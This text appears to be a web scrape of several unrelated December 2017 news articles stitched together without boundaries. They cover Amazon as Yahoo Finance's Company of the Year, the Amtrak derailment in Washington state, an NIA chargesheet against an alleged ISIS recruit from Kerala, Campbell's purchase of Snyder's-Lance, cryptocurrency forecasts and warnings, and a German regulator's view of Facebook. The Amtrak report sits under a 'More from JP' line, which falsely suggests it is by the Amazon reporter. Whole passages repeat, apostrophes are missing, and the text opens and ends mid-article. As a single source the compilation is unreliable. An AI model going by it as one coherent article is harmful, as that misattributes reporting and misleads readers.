Indeed, Amazons massive size and influence is part of the reason why, when the time came once again for Yahoo Finances editors to select a Company of the Year, the answer was clear. Amazon  which has innovated, moved markets, and pushed boundaries  joins past winners such as Facebook (FB), Disney (DIS), and Nvidia (NVDA). While it might seem like an obvious choice for Company of the Year, theres no denying that 2017 was huge for Amazon.

To be sure, Amazon wasnt the markets strongest performer in 2017. Still, Amazon shares soared nearly 60% in 2017  following moves like the $13.7 billion Whole Foods deal, strong quarterly earnings, Amazon Web Services $18 billion annual revenue run rate, and reports that Amazon could break into pharmaceuticals. At the same time, Alexa became the undisputed market leader for voice assistants.

But while Amazons achievements up-to-date are praiseworthy (see our timeline for Amazons path to domination in 2017), some of the companys most exciting offerings appear yet to come.

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Were not focused on conquering

Our focus is pioneering, Amazon Worldwide Consumer CEO Jeff Wilke told Yahoo Finance recently during an interview at the companys Santa Monica, California, offices. Were not focused on conquering. Thats a business model some people could choose, but were trying to invent  not disrupt. If customers like what weve invented, theyre going to choose our invention sometimes, and that may lead to disruption for others, but we expect it to accelerate invention and there will be more opportunity for others to build great models, too.

Despite Wilkes assertions, disrupt is what Amazon did, so much so that Amazon was cited over 2,000 times on corporate earnings calls this year. One of the years largest deals  CVSs (CVS) $69 billion acquisition of health insurer Aetna (AET)  is viewed by many pundits as a preemptive strike should Amazon barrel into pharmaceuticals the way it has into other areas like retail, groceries and food delivery.

That seems to be the nature in which every business operates now, RBC Capital Markets analyst George Hill explains, pointing to moves like Targets (TGT) $550 million acquisition of Shipt, a same-day delivery company, which was announced in December. Has Amazon led this charge? Absolutely. As Amazon continues to up its game in owning the last mile, theyre going to force every participant to up their game, as well.

Amazons obsession with that last mile  the final journey of an order from the warehouse to the shoppers doorstep  has forced virtually every retailer to rethink delivery since the tech giant launched Amazon Primes two-day delivery in 2005 and spearheaded an all-out arms race for faster shipping. Before Prime, anyone who wanted their orders quickly would have to pay FedEx or UPS big bucks or just have to wait. Now two-day or same-day shipping is the norm for an estimated 90 million Prime members, or 63% of Amazon customers in the U.S.

A genius acquisition

One pundit calls Amazons acquisition of Whole Foods Market, which closed in August, the second best acquisition of the decade  second only to Facebooks acquisition of Instagram in 2012. Source: Francisco Antunes/Flickr

The tech giants boldest move this year was also its most surprising. In June, Amazon announced it would acquire Whole Foods for $13.7 billion  its largest acquisition to date. Although it toyed with groceries before  most visibly with an in-house groceries delivery service called Amazon Fresh  the Whole Foods acquisition was by far Amazons biggest signal yet that it is serious about expanding its overall presence in brick-and-mortar retail, starting with taking over Whole Foods 460-plus stores.

Scott Galloway, a professor of marketing at at NYU Stern School of Business and author of the book, The Four: The Hidden DNA of Amazon, Apple, Facebook, and Google calls Amazons acquisition of Whole Foods the second-best acquisition of the decade  second only to Facebooks (FB) $1 billion acquisition of the popular photo-sharing app Instagram in 2012.

For Amazon, buying Whole Foods was genius, Galloway contends. It gives them access to the wealthiest refrigerators in the world, one of the best and largest consumer brands in the world and lets them pick up 500 new warehouses all in one purchase.

The week Amazons acquisition of Whole Foods Market closed, Whole Foods started selling Amazon Echo speakers in-store.

The effect on competition was immediate. That same Thursday in August when Amazon announced it would cut prices, Kroger (KR), Sprouts Farmers Market (SFM), SuperValu (SVU), Costco (COST), Target, and Wal-Mart Stores (WMT) stock all took a nosedive.

Whole Foods, meanwhile, saw new life after announcing its sixth consecutive quarter of falling same-store sales early this year. Foot traffic to its stores jumped 17% year-over-year during the week Amazon initially cut prices, according to the data analytics firm Thasos Group. Of those new shoppers, 24% came from Walmart, 16% came from Kroger, and 15% crossed over from Costco.

The purpose of the acquisition was very simple: were fans, explained Wilke, who added that the grocery chains healthier selection helped change the way he consumed food soon after he relocated from Pittsburgh 18 years ago to work with Bezos at Amazon. I think we had a great opportunity to partner with a terrific company and a great brand. They essentially invented the natural and organic category.

Amazons other home run

Amazon may not have invented the voice assistant, but that doesnt seem to matter to the tens of millions of shoppers who now own an Echo speaker. According to estimates from digital research firm eMarketer, the Echo cornered roughly 70% of the U.S. market for voice-controlled speakers this year. You knew Alexa had entered the pop culture lexicon when Saturday Night Live aired its geriatric-themed spoof in May.

Unlike Apple (AAPL), which keeps Siri under lock and key, Amazon early on opened up access to Alexa so outside companies and developers could develop functions for it, even integrate it into their own devices. It was a risky business move, to be sure, but one that turned out to be a masterstroke. At last Januarys Consumer Electronics Show, hundreds of Alexa-enabled devices from outside parties  fridges, self-driving cars, even baby monitors  lined the convention halls.

We envisioned Alexa and all the products that connect to her to be based mostly in the cloud, and I think thats the kind of paradigm shift that weve seen with this technology as opposed to previous technologies in consumer electronics, because Alexa being up in the cloud allows us to improve her every single day, Dave Limp, Amazon SVP of devices and services, told Yahoo Finance at Amazons Seattle headquarters recently. And because developers can extend her through software skills and through hardware partners, youre seeing her now in refrigerators and cars and baby monitors and cameras.

The hunt for HQ2

Although Amazons Seattle headquarters is already sprawling, the tech giant plans on opening a second headquarters elsewhere in the U.S. Source: AP Photo/Elaine Thompson

As Amazon expanded its brick-and-mortar footprint in 2017, it also made headlines by announcing it planned on opening a second headquarters somewhere else in the U.S, dubbed HQ2, with an estimated cost of $5 billion.

Soon after, the tech giant received 238 proposals from across North America, several of which got creative in wooing Amazon. Arizona representatives sent Amazon a 21-foot cactus, and a Pittsburgh sandwich chain offered to feed every Amazon employee. But the city of Stonecrest, Georgia, dangled the most outrageous deal of them all in offering to create an entirely new city called Amazon where Bezos could serve as mayor for life. (Yes, really.)

Media reports suggested a number of cities as top contenders, from Austin, Texas to Boston. But Stonecrest, Georgia, may have the edge. In early December, Amazon registered an in-house lobbyist specializing in clean energy and technology with the Georgia State Ethics Commission ahead of the states legislative session in January.

An Amazon spokesperson confirmed on Tuesday to Yahoo Finance that this is not at all related with the search of Amazons second headquarters and is part of their ongoing investment efforts across the country through different projects. The spokesperson also pointed out that over the last 5 years, Amazon has invested more than $100 billion in the U.S in fulfillment center infrastructure (they have now 75 fulfillment centers in the U.S.), data centers, wind farms, regional tech hubs, corporate offices and compensation to its teams.

For his part, Wilke contends that Amazon is still in the early process of evaluating bids.

We dont want to over-describe or over-constrain what were interested in because there will be trade-offs probably in all of these cities, he said, but it needs to have a large enough pull, a large enough workforce where we can attract and retain the kind of people that work at Amazon, including technical folks.

Whats in store for 2018?

In the months and years to come, Wilke says, Prime members in particular will reap the benefits of the Whole Foods purchase with more exclusive discounts.

For Amazon, Whole Foods also represents a trove of logistical and supply chain data. As the company expands its physical footprint beyond lockers stuffed with shoppers orders, physical bookstores and autonomous stores like Amazon Go, the tech giant is looking to better understand aspects of brick-and-mortar like foot traffic, in-stores sales versus online sales, and sales technology  all things Amazon needs to master if it wants to expand its Amazon Go store beyond its employees-only Seattle location.

The Amazon employees-only Amazon Go store in Seattle uses a tracking system with sensors and cameras to determine what a customer has bought without anyone ever having to scan an item. Source: AP Photo/Elaine Thompson, File

One day, regular shoppers in the U.S. will eventually pick up any item they want to buy in-store and simply walk out without ever having to interact with another human being or having to scan their items to purchase them. Amazon naturally wants to be at the forefront of that change.

As for Alexa, Wilke suggests more skills for the popular voice assistant are coming in 2018 focused on letting shoppers do more on Amazon.com simply using their voice.

Its early days, but you can imagine that the way were communicating right now would be a natural way to communicate when theyre something you want to buy, Wilke hints.

2018 could also prove to be the year in which regulators pay closer attention to Amazon, not to mention other big tech companies like Google and Facebook, as public sentiment with Silicon Valley has soured. Just over the weekend, news emerged that Amazon could face an investigation by UKs Advertising Standards Authority over complaints that Prime didnt come through on its promises of unlimited one-day delivery with some shoppers.

Still, Wilke isnt concerned about regulators or critics who argue Amazon is too oppressive on competition or needs to be broken up into smaller pieces. In typical Amazon fashion, hes more concerned about winning over consumers.

I would just direct them to the fact that we have less than 1% of worldwide retail and there are several companies, many companies actually, who are larger than us, even in retail, Wilke emphasizes. Were not at a place where we should worry about that. We should be continuing to take care of customers. We, Amazon, should worry about continuing to take care of customers, invent on their behalf.

He also points to the fact that over 50% of all sales on Amazon.com are sales done by third-party sellers and between Thanksgiving and Cyber Monday alone, 140 million products were ordered and fulfilled by third-party sellers.

Our services are being used by third parties to build businesses independently of Amazon, adds Wilke. If that continues  and it will  there will be many winners in retail.

The caveat being of course, those winners, are beholden to Amazon for its revenues, whether they like it or not.

Source: David Foster/Yahoo Finance

Click here to find out more about Amazons culture and here to discover its plans for Alexa.



JP Mangalindan is the Chief Tech Correspondent for Yahoo Finance covering the intersection of tech and business. Email story tips and musings to jpm@oath.com. Follow him on Twitter or Facebook.

More from JP:
DUPONT, Wash.  An Amtrak train derailed on Monday in Washington state on its inaugural run on a faster route from Seattle to Portland, Oregon, sending passenger cars tumbling from a bridge onto a major highway, killing a number of riders and injuring nearly 100.

The derailment caused "multiple fatalities," Ed Troyer, a spokesman for the local sheriff's office, told reporters at the scene, though he did not offer a specific number. The train struck several cars on Interstate 5, he added, causing injuries but no additional deaths.

Thirteen of the train's 14 cars jumped the tracks, and five vehicles plus two semi-trailer trucks were involved in the accident, Washington State Patrol spokeswoman Brooke Bova said.

Seventy-seven people were transported to hospitals in Pierce and Thurston counties, the Tacoma-based healthcare network CHI Franciscan Health said, including four "level red" patients with the most severe injuries. Another 20 patients were treated at the Madigan Army Medical Center in Tacoma, nine in "serious but stable" condition, the center said.

Four hours after the 7:40 a.m. crash in DuPont, Washington, several train cars remained dangling from the overpass, with others strewn across the roadway.

About 78 passengers and five crew members were aboard the train, Amtrak said in a statement.

Some people escaped by kicking out windows, passenger Chris Karnes told local news outlet KIRO 7.

"All of a sudden, we felt this rocking and creaking noise, and it felt like we were heading down a hill," Karnes said. "The next thing we know, we're being slammed into the front of our seats, windows are breaking, we stop, and there's water gushing out of the train. People were screaming."

The derailment occurred on the first day Amtrak trains began using the new inland route between the Washington cities of Tacoma and Olympia, part of a project to reduce travel time, according to an October news release from the state's transportation department.

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The rerouting takes trains along I-5, eliminating a major choke point for passenger trains in Tacoma and letting trains reach speeds of 79 miles per hour, the department has said.

Monday's southbound train, which was scheduled to depart Seattle at 6 a.m. for Portland, was the first to run along the new route, which uses tracks owned by a local commuter line.

It was not immediately clear whether the derailment, which came during a busy travel time one week before the Christmas holiday, was connected to the rerouting.

A statement from the state transportation department said the track had undergone "weeks of inspection and testing" before Monday's launch.

"We got cars everywhere and down onto the highway"

A member of the train's crew told an emergency dispatcher that the train came around a corner before the bridge and then "we went on the ground," according to an audio recording posted by Broadcastify.com.

After the dispatcher asked whether everyone was OK, the crew member replied, "I am still figuring that out. We got cars everywhere and down onto the highway." The dispatcher also asked for the driver's location, and he responded, "As soon as I know exactly where all of my train is, I'll let you know."

The National Transportation Safety Board (NTSB) said it was sending a team of investigators to the site. Washington Governor Jay Inslee declared a state of emergency due to "loss of life, injuries and damage to infrastructure."

U.S. President Donald Trump tweeted that the crash "shows more than ever why our soon to be submitted infrastructure plan must be approved quickly." Trump has said he will unveil his long-delayed infrastructure proposal after Congress passes its tax bill.

The rerouting project was budgeted at $180.7 million and was funded by the Federal Railroad Administration, according to Washington State's transportation department. The work was done by Sound Transit, which owns the track, and reviewed by the FRA, the department said on Monday.

Interstate 5 is the West Coast's major north-south highway, running between the U.S-Mexican border in San Diego, California, and the border with Canada in Washington.

The mayor of one of the towns through which the rerouted trains travel warned earlier this month that the high-speed trains were dangerously close to cars and pedestrians.

"Come back when there is that accident, and try to justify not putting in those safety enhancements, or you can go back now and advocate for the money to do it, because this project was never needed and endangers our citizens," Lakewood Mayor Don Anderson told transportation officials in early December, according to Seattle's KOMO News.

The derailment was Amtrak's second in Washington state this year. On July 2, a southbound train with more than 250 people aboard derailed in the town of Steilacoom, just a few miles north of Monday's crash site. No serious injuries were reported.

In May 2015, an Amtrak train derailed in Philadelphia, killing eight people and injuring more than 200. The NTSB concluded the driver became distracted by radio transmissions and lost track of where he was.

Reporting by Tom James in DuPont, Washington; additional reporting by Jonathan Allen, Gina Cherelus, Peter Szekely and Daniel Trotta in New York



Related Video:

Many fatalities as Amtrak train derails, falls onto I-5 near Tacoma originally appeared on Autoblog on Mon, 18 Dec 2017 12:45:00 EST.
The National Investigative Team (NIA) is all set to file a chargesheet in the ISIS Kannur case before December 25.

By Munish Chandra Pandey: The National Investigative Team (NIA) is all set to file a chargesheet in the ISIS Kannur case before December 25. The agency has completed the investigation and has prepared the final report.

Shahjahan Kandy, a PFI member, who left India to join ISIS but was arrested by Turkey police while crossing their border to enter Syria.

The Centre has been mulling a ban on the Popular Front of India (PFI) for many months now, and a chargesheet against Shahjahan is likely to strengthen the government's case.

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Shajahan had travelled to Turkey/Syria for carrying out terrorist activities after procuring an Indian Passport with the fake name of Mohd. Ismail Mohideen.

Shahjahan, who is a resident of Kannur in Kerala, during his interrogation, has told that he became the area president of PFI in 2007-2008. He was then heading a team of 9 PFI members.

Shahjahan later joined the mouthpiece of PFI, Thejas Daily, and actively started meeting other PFI members.

In 2010, he joined Facebook and became members of two groups - Free Thinkers and Right Thinkers.

Through Facebook, he came in contact with many potential recruits who according to him were useful in spreading PFI's activities.

Soon Shahjahan left India and when he returned to India in 2013, he started attending PFI's seminars.

During one such seminar, he came in contact with a person named Sameer. In 2016, Shahjahan left India for Syria along with his family. During his interrogation, he has revealed that many people like him were motivated by Sameer to move to Syria and help ISIS.

The route was given by Sameer in which Shahjahan first went to Malasiya, and then through Tehran and Istanbul he tried entering Syria. All those who were ready to fight for ISIS were given 3 months' training in Istanbul.

In 2016, Shahjahan along with two other friends, Munaf and Shahjil, tried to cross the border. His friends successfully made into Syria by crossing the Turkey border but Shahjahan failed.

Later on, in 2017 he again tried to cross the border but was caught at the Turkish border with fake passport.

Shahjahan, an ISIS sympathiser himself, has disclosed that atleast 6 youths who disappeared from Kerala have joined ISIS.

PFI has been accused of forceful religious conversions. In the last few months, at least nine PFI members have reportedly joined ISIS.

--- ENDS ---
Campbell Soup (NYSE: CPB) is acquiring snacks company Snyder's-Lance (NASDAQ: LNCE) for $4.87 billion in cash, the largest ever deal in the soup company's 148-year history. CNBC had reported Friday that a deal, valued at $50 a share, was in the works.Snyder's stock jumped 6.7 percent in Monday's premarket to $49.95 a share.The deal underscores the drive for food industry consolidation as traditional food companies watch their sales drop and struggle to create growth or innovation on their own. It points to the opportunity they see in snacks, appealing to the increasing number of people who eat and shop on the go.Campbell's stock, before news of its plans to acquire Snyder's broke, was down roughly 18 percent during the past year. Sales in its America's simple meals and beverages segment, which includes soup and V8 beverages, has declined on an annual basis since 2015. Sales in its global biscuits and snacks division, which include Pepperidge Farm Goldfish and Milano cookies, were up 3 percent in the most recent quarter.Adding Snyder's snack brands like Diamond Foods and Pop Secret popcorn will broaden Campbell's snack business and create a stronger foothold into convenience stores."This acquisition will dramatically transform Campbell, shifting our center of gravity and further diversifying our portfolio into the faster-growing snacking category," CEO Denise Morrison said in a statement Monday morning.Campbell's baked snacks generated roughly 31 percent of Campbell's sales in fiscal 2017. Adding Snyder's-Lance's snack brands will bring that proportion up to roughly 46 percent of Campbell's annual net sales. Campbell's soup brands  including its recent acquisition of Pacific Food organic soup  will now represent about 27 percent of the company's annual net sales.The deal is the boldest in a series of smaller steps to move beyond its core soup business, as Morrison heads into her seventh year in the job. Campbell acquired dressing, beverage and vegetable company Bolthouse Farms in 2012 for $1.55 billion. This month, it completed its $700 million acquisition of Pacific Foods. Last year, it joined the ballooning number of consumer packaged giants to launch a venture unit in hopes of keeping closer tabs on innovation. Pressure on Big Food to do larger deals that can make a more immediate impact has heightened over the past year. Beyond slowing sales, food companies are working with increasingly punishing retailers that are under their own pressure as shoppers pick up their food staples at convenience stores and, increasingly, Amazon (NASDAQ: AMZN) . To stay relevant, grocers have focused on fresh food to bring shoppers into their stores. America's snack habitEven as U.S shoppers are eyeing fresh foods, they continue to swoop up snacks in their corner store, in the airport or on their way to the office. The U.S. snacking market is worth roughly $89 billion, according to IRI, and growing at a compound rate of nearly 3 percent. Just within the past couple of months, Kellogg (NYSE: K) announced its $600 million acquisition of RXBar , Conagra Brands (NYSE: CAG) scooped up the parent company of Angie's Boomchickapop popcorn and Mars invested in the parent company of Kind Bar. On Monday, Hershey (NYSE: HSY) announced plans to acquire SkinnyPop parent Amplify Snack Brands (NYSE: BETR) for about $1.6 billion. Campbell has been doubling down on its own snack business. It plans to broaden the appeal of its Goldfish crackers to older snackers and earlier this year rolled out out its Pepperidge Farm Farmhouse Thin & Crispy cookie. The latter gave the soup company a chance to hop on other consumer trends, like snacks with fewer ingredients and clearer labels.Snyder's-Lance has been gobbling up snacks nearly since its inception. Snyder's of Hanover was a pretzel company that originated in 1909. Lance was a roasted peanut company started by Philip Lance in 1913 that soon thereafter introduced its peanut butter cracker sandwich. The two combined in 2010. They bought Diamond Foods  owner of Kettle chips and Pop Secret  in 2016.It has struggled recently though with operational challenges, including a more costly than expected integration of its Diamond acquisition.Meanwhile, its "direct store delivery" model  in which it delivers directly to stores  has proven costly and out of step with today's more popular warehouse model. Direct store delivery becomes more cost efficient as more products are added to the system.Earlier this year, Snyder's CEO Carl E. Lee Jr. stepped down from the role after working at the company for 12 years. He was replaced by Brian Driscoll, former president and chief executive of Diamond Foods.Credit Suisse acted as lead financial adviser to Campbell, which was also advised by Rothschild. Weil, Gotshal & Manges acted as Campbell's legal counsel.Goldman Sachs acted as lead financial adviser to Snyder's-Lance. Deutsche Bank has also acted as long-time financial adviser to Snyder's-Lance. Jenner & Block acted as legal counsel to Snyder's-Lance. Campbell Soup (NYSE: CPB) is acquiring snacks company Snyder's-Lance (NASDAQ: LNCE) for $4.87 billion in cash, the largest ever deal in the soup company's 148-year history. CNBC had reported Friday that a deal, valued at $50 a share, was in the works. Snyder's stock jumped 6.7 percent in Monday's premarket to $49.95 a share. The deal underscores the drive for food industry consolidation as traditional food companies watch their sales drop and struggle to create growth or innovation on their own. It points to the opportunity they see in snacks, appealing to the increasing number of people who eat and shop on the go. Campbell's stock, before news of its plans to acquire Snyder's broke, was down roughly 18 percent during the past year. Sales in its America's simple meals and beverages segment, which includes soup and V8 beverages, has declined on an annual basis since 2015. Sales in its global biscuits and snacks division, which include Pepperidge Farm Goldfish and Milano cookies, were up 3 percent in the most recent quarter. Adding Snyder's snack brands like Diamond Foods and Pop Secret popcorn will broaden Campbell's snack business and create a stronger foothold into convenience stores. "This acquisition will dramatically transform Campbell, shifting our center of gravity and further diversifying our portfolio into the faster-growing snacking category," CEO Denise Morrison said in a statement Monday morning. Campbell's baked snacks generated roughly 31 percent of Campbell's sales in fiscal 2017. Adding Snyder's-Lance's snack brands will bring that proportion up to roughly 46 percent of Campbell's annual net sales. Campbell's soup brands  including its recent acquisition of Pacific Food organic soup  will now represent about 27 percent of the company's annual net sales. The deal is the boldest in a series of smaller steps to move beyond its core soup business, as Morrison heads into her seventh year in the job. Campbell acquired dressing, beverage and vegetable company Bolthouse Farms in 2012 for $1.55 billion. This month, it completed its $700 million acquisition of Pacific Foods. Last year, it joined the ballooning number of consumer packaged giants to launch a venture unit in hopes of keeping closer tabs on innovation. Pressure on Big Food to do larger deals that can make a more immediate impact has heightened over the past year. Beyond slowing sales, food companies are working with increasingly punishing retailers that are under their own pressure as shoppers pick up their food staples at convenience stores and, increasingly, Amazon (NASDAQ: AMZN) . To stay relevant, grocers have focused on fresh food to bring shoppers into their stores. America's snack habit Even as U.S shoppers are eyeing fresh foods, they continue to swoop up snacks in their corner store, in the airport or on their way to the office. The U.S. snacking market is worth roughly $89 billion, according to IRI, and growing at a compound rate of nearly 3 percent. Just within the past couple of months, Kellogg (NYSE: K) announced its $600 million acquisition of RXBar , Conagra Brands (NYSE: CAG) scooped up the parent company of Angie's Boomchickapop popcorn and Mars invested in the parent company of Kind Bar. On Monday, Hershey (NYSE: HSY) announced plans to acquire SkinnyPop parent Amplify Snack Brands (NYSE: BETR) for about $1.6 billion. Campbell has been doubling down on its own snack business. It plans to broaden the appeal of its Goldfish crackers to older snackers and earlier this year rolled out out its Pepperidge Farm Farmhouse Thin & Crispy cookie. The latter gave the soup company a chance to hop on other consumer trends, like snacks with fewer ingredients and clearer labels. Snyder's-Lance has been gobbling up snacks nearly since its inception. Snyder's of Hanover was a pretzel company that originated in 1909. Lance was a roasted peanut company started by Philip Lance in 1913 that soon thereafter introduced its peanut butter cracker sandwich. The two combined in 2010. They bought Diamond Foods  owner of Kettle chips and Pop Secret  in 2016. It has struggled recently though with operational challenges, including a more costly than expected integration of its Diamond acquisition. Meanwhile, its "direct store delivery" model  in which it delivers directly to stores  has proven costly and out of step with today's more popular warehouse model. Direct store delivery becomes more cost efficient as more products are added to the system. Earlier this year, Snyder's CEO Carl E. Lee Jr. stepped down from the role after working at the company for 12 years. He was replaced by Brian Driscoll, former president and chief executive of Diamond Foods. Credit Suisse acted as lead financial adviser to Campbell, which was also advised by Rothschild. Weil, Gotshal & Manges acted as Campbell's legal counsel. Goldman Sachs acted as lead financial adviser to Snyder's-Lance. Deutsche Bank has also acted as long-time financial adviser to Snyder's-Lance. Jenner & Block acted as legal counsel to Snyder's-Lance.



More From CNBC


FILE PHOTO: Cans of Campbell's Soup are displayed in a supermarket in New York City, U.S. February 15, 2017. REUTERS/Brendan McDermid/File Photo (Reuters)

(Reuters) - Campbell Soup Co <CPB.N> will buy Pretzels and Cape Cod chips maker Snyder's-Lance Inc <LNCE.O> for $4.87 billion as it looks to expand its snack business amid sagging soup sales.

Campbell said on Monday it would pay Snyder's shareholders $50 per share in cash.

The offer represents a 27 percent premium to Snyder's close on Wednesday, a day before CNBC first reported it had hired an investment bank to weigh a potential sale following an approach from Campbell.

The equity value of the deal is based on 97.46 million outstanding Snyder shares, according to Thomson Reuters data. Including debt the deal is valued at about $6 billion.

Campbell said it plans to finance the acquisition through a combination of long- and short-term debt of $6.2 billion.

Credit Suisse acted as lead financial adviser to Campbell in this transaction. Weil, Gotshal & Manges LLP acted as Campbell's legal counsel.

Goldman Sachs & Co LLC acted as lead financial adviser to Snyder's-Lance and Jenner & Block LLP acted as its legal counsel.

(Reporting by Uday Sampath in Bengaluru; Editing by Shounak Dasgupta)
Global central banks will start holding digital currencies in the next year, the chief executive of a cyrptocurrency wallet platform told CNBC Monday."I think this year will be the first year we start to see central banks start to hold digital currencies as part of their balance sheet," Peter Smith, CEO of Blockchain, told CNBC. Smith said that central banks would likely buy bitcoin (Exchange: BTC=) and Ethereum as part of their reserves. Central banks hold gold (Exchange: XAU=) and foreign currency reserves to allow them to act if there are any market shocks. The rise of bitcoin as an asset could mean some monetary authorities will have to begin holding it."Bitcoin is already a top 30 currency by supply, and this trend, and pressure to hold digital currency as part of reserves will only accelerate as the price rises," Smith said. There is a growing chorus of voices suggesting that cryptocurrencies could be bought by central banks. In an opinion article on Coindesk , Eugene Etsebeth, a former central banker with the South African Reserve Bank, said that cryptocurrencies will fulfill a new requirement as "digital gold." "In 2018, G-7 central banks will witness bitcoin and other cryptocurrencies becoming the biggest international currency by market capitalization," Etsebeth wrote."This event, together with the global nature of cryptocurrencies with 24/7 trading access, will make it intuitive to own cryptocurrencies as they become a de-facto investment as part of a central bank's investment tranche."He added that cryptocurrencies would be used in international trade.Central bank-issued cryptocurrencyBlockchain's Smith, who spends time speaking to regulators, took it a step further and said central banks could start to issue their own "digital assets" next year.Some central banks have already started researching their own digital coins. last week, those in the United Arab Emirates and Saudi Arabia announced a partnership to issue a cryptocurrency for cross-border trade.China's central bank also said that it could issue a new cryptocurrency. But some authorities have warned on the dangers of the recent cryptocurrency boom, indicating that they are not ready to get involved yet. European Central Bank President Mario Draghi said digital currencies are not "mature" enough to be considered for regulation yet. "With anything that's new, people have great expectations and also great uncertainty. Right now we think that especially as far as bitcoins and cryptocurrencies are concerned, we don't think the technology is mature for our consideration," Draghi said in October. Global central banks will start holding digital currencies in the next year, the chief executive of a cyrptocurrency wallet platform told CNBC Monday. "I think this year will be the first year we start to see central banks start to hold digital currencies as part of their balance sheet," Peter Smith, CEO of Blockchain, told CNBC. Smith said that central banks would likely buy bitcoin (Exchange: BTC=) and Ethereum as part of their reserves. Central banks hold gold (Exchange: XAU=) and foreign currency reserves to allow them to act if there are any market shocks. The rise of bitcoin as an asset could mean some monetary authorities will have to begin holding it. "Bitcoin is already a top 30 currency by supply, and this trend, and pressure to hold digital currency as part of reserves will only accelerate as the price rises," Smith said. There is a growing chorus of voices suggesting that cryptocurrencies could be bought by central banks. In an opinion article on Coindesk , Eugene Etsebeth, a former central banker with the South African Reserve Bank, said that cryptocurrencies will fulfill a new requirement as "digital gold." "In 2018, G-7 central banks will witness bitcoin and other cryptocurrencies becoming the biggest international currency by market capitalization," Etsebeth wrote. "This event, together with the global nature of cryptocurrencies with 24/7 trading access, will make it intuitive to own cryptocurrencies as they become a de-facto investment as part of a central bank's investment tranche." He added that cryptocurrencies would be used in international trade. Central bank-issued cryptocurrency Blockchain's Smith, who spends time speaking to regulators, took it a step further and said central banks could start to issue their own "digital assets" next year. Some central banks have already started researching their own digital coins. last week, those in the United Arab Emirates and Saudi Arabia announced a partnership to issue a cryptocurrency for cross-border trade. China's central bank also said that it could issue a new cryptocurrency. But some authorities have warned on the dangers of the recent cryptocurrency boom, indicating that they are not ready to get involved yet. European Central Bank President Mario Draghi said digital currencies are not "mature" enough to be considered for regulation yet. "With anything that's new, people have great expectations and also great uncertainty. Right now we think that especially as far as bitcoins and cryptocurrencies are concerned, we don't think the technology is mature for our consideration," Draghi said in October.



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The total value of all cryptocurrencies in the world will hit $1 trillion in 2018, the CEO of one of the world's largest digital wallet platforms told CNBC Monday. There are over 1,300 cryptocurrencies in the world such as bitcoin (Exchange: BTC=) and ether (Exchange: ETH=) with the total market capitalization totaling over $587 billion, according to data from industry website Coinmarketcap.com . Market cap refers to the total value of all of the digital coins in circulation. Peter Smith, CEO of Blockchain, which is a digital wallet provider to store cryptocurrencies, said this is likely to nearly double next year."I think that we'll see the total market cap of digital assets hit a trillion dollars in 2018. I don't know if it'll hold a trillion dollars but I think we'll see that milestone breached," Smith told CNBC in a TV interview Monday. Bitcoin accounts for over 50 percent of the total cryptocurrency market cap . It is worth around $317 billion. Ether is the second-largest digital currency with a market cap of $68.9 billion. Both have had huge price rallies this year. Some market players think bitcoin alone will be worth $1 trillion in the near future. Ronnie Moas, the founder of Standpoint Research, told CNBC on Monday that bitcoin could be valued as high as $400,000 per digital coin , with a market cap eventually reaching $1 trillion . However, bitcoin has also received its fair share of criticism. JPMorgan (NYSE: JPM) Jamie Dimon famously called the cryptocurrency a "fraud" calling people who invest in it "stupid". And Deutsche Bank (XETRA: DBK-DE) recently warned that a bitcoin crash could pose a risk to the broader financial market next year. The total value of all cryptocurrencies in the world will hit $1 trillion in 2018, the CEO of one of the world's largest digital wallet platforms told CNBC Monday. There are over 1,300 cryptocurrencies in the world such as bitcoin (Exchange: BTC=) and ether (Exchange: ETH=) with the total market capitalization totaling over $587 billion, according to data from industry website Coinmarketcap.com . Market cap refers to the total value of all of the digital coins in circulation. Peter Smith, CEO of Blockchain, which is a digital wallet provider to store cryptocurrencies, said this is likely to nearly double next year. "I think that we'll see the total market cap of digital assets hit a trillion dollars in 2018. I don't know if it'll hold a trillion dollars but I think we'll see that milestone breached," Smith told CNBC in a TV interview Monday. Bitcoin accounts for over 50 percent of the total cryptocurrency market cap . It is worth around $317 billion. Ether is the second-largest digital currency with a market cap of $68.9 billion. Both have had huge price rallies this year. Some market players think bitcoin alone will be worth $1 trillion in the near future. Ronnie Moas, the founder of Standpoint Research, told CNBC on Monday that bitcoin could be valued as high as $400,000 per digital coin , with a market cap eventually reaching $1 trillion . However, bitcoin has also received its fair share of criticism. JPMorgan (NYSE: JPM) Jamie Dimon famously called the cryptocurrency a "fraud" calling people who invest in it "stupid". And Deutsche Bank (XETRA: DBK-DE) recently warned that a bitcoin crash could pose a risk to the broader financial market next year.



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By Stine Jacobsen

COPENHAGEN (Reuters) - Potential investors in bitcoin should steer clear of a dangerous gamble and not complain to financial regulators if things do go wrong, Denmark's central bank governor warned.

"You should stay away (from bitcoin). It is deadly," central bank head Lars Rohde said in an interview with state broadcaster DR published online on Monday.

The comments echoed concerns of a bubble about to burst made by other market participants and central bankers after the price of bitcoin rocketed more than 1,800 percent since the start of the year.

Rohde said that if people decide to ignore his warnings, they should realize that they are pretty much on their own.

"It is not a regulated market. It is not the responsibility of the authorities. It is the responsibility of the individual," said Rohde.

Emphasizing his point, Rohde told investors not to "come and complain to us if it goes wrong".

The launch of futures trading in bitcoin has further fueled debate about the place of the cryptocurrency in the financial system.

On Sunday, France's finance minister said his country would propose that the G20 group of major economies discuss regulation of the bitcoin virtual currency next year.

Decentralized digital currencies like bitcoin are still not widely accepted, and critics say that the fact that they are unregulated makes them risky to use.

European Union states and legislators last week agreed stricter rules to prevent money laundering and terrorism financing on exchange platforms for bitcoin and other virtual currencies.

"I see bitcoin as tulipmania, which is a bubble that is out of control," Rohde said, referring to a notorious 17th century Dutch boom and bust.

Last week, the Danish central bank said that introducing a digital version of the Danish crown currency would pose risks to financial stability without improving payment solutions for Danes.

(Reporting by Stine Jacobsen; Editing by Jacob Gronholt-Pedersen/Keith Weir)
Facebook denied it was a monopoly - AP

Facebook has been accused of limitless collection of its users data by Germanys competition watchdog, in the first major assessment of the social networks market dominance.

The Federal Cartel Office (FCO) said Facebook was a quasi-monopoly that was abusing its position to force its users to give up data.

The ruling is significant because it comes from a competition regulator. Unlike its Silicon Valley peer Google, which has been fined billions for monopoly practices, Facebook has to date avoided scrutiny of its market share. The declaration that the company has a dominant market position could expose the company to similar investigations.

The FCO, in a preliminary assessment, said that services such as Twitter, YouTube and Snapchat were different enough not to qualify as direct competitors, and that as a result Facebook had a market share of more than 90pc.

It said that users are effectively unable to switch to another service, and that as a result, do not effectively consent to having their data collected on other services. In addition to the profile information that users willingly hand over to Facebook, the social network collects information such as browsing histories from third-party websites and other services it owns, including Instagram and WhatsApp.

